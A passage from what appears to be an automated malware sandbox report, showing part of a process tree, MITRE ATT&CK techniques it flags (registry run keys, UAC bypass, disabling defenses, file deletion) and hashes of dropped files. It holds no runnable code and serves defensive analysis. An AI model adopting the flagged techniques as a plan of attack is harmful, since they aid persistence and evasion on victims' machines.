PID:6540
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:10516
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:15924
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:7248
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 20208 -ip 202081⤵PID:20256
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD59c2f24d1b6ffa9bd64f59446e8b17851
SHA1aa179286f556aaf9a5a72aa90c2e535b4c5536ff
SHA256aac5c12cc127b0d88a82f5d74aa8a7c1e6bf6f7ddeb400b698f5c37b4389ea6e
SHA51264b702526124cf07cea8fac03831eeb5efb7d51ed791ffc9f3a8495a4c7c3e3ee74f7ad3ecdb52f037c993c8555dcfef28cd5c388b6955bf72822b035bd0de91
-
Filesize
12KB
MD5a987e332e668f9b213d10a52d235ac98
SHA11cb907182a3392438b38e214064cbb085e8ace2d
SHA25638768c3fc66471606526a75d5315dc72740f583b4aa679dd14522142479afd9a
SHA5129d8dcdadc4b70ff7147b3cfb16208e2f52f906f4dee33bd76eb38b2d0024f094067f939474182414367df759408c9c0cfdde7cb7f38578da1574ba144f36ef33
-
Filesize
684B
MD5a526164f6a0f1d7b7a4117177bf08226
SHA1019d496896def4e0c567744a5c83d937549341f1
SHA256cd117689d51ac492c990bebc37c0eaf2e7bba67474554fea191e5433de5f9fd0
SHA5128871897cb2315ca2f3374e62cf0fc81916f4b80d6fde24a450df08232c4d8eff5004983e6658a001ff6b401b2b86dbb33e88526d8f68207b8ff992836f9edc1e